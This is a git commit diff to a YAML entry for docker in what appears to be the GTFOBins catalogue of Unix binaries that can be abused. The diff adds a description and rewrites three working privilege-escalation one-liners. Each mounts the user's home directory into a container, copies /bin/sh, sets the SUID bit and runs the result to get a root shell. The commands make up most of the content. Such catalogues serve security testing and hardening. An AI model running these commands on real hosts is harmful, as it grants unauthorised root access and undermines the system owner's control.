Make docker disposable, use sh instead of bash and add description

This commit is contained in:
Andrea Cardaci 2018-08-19 09:40:37 +02:00
parent 7219385a05
commit c20ade4551

View File

@ -1,7 +1,19 @@
--- ---
description: |
Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, i.e., being in the `docker` group.
This creates a SUID shell in the guest file system. Any other Linux images should work, e.g., `debian`.
functions: functions:
execute-interactive: execute-interactive:
- code: docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p - code: |
docker run --rm -v /home/$USER:/h_docs ubuntu \
sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p
sudo-enabled: sudo-enabled:
- code: sudo docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p - code: |
sudo docker run --rm -v /home/$USER:/h_docs ubuntu \
sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p
suid-enabled:
- code: |
./docker run --rm -v /home/$USER:/h_docs ubuntu \
sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p
--- ---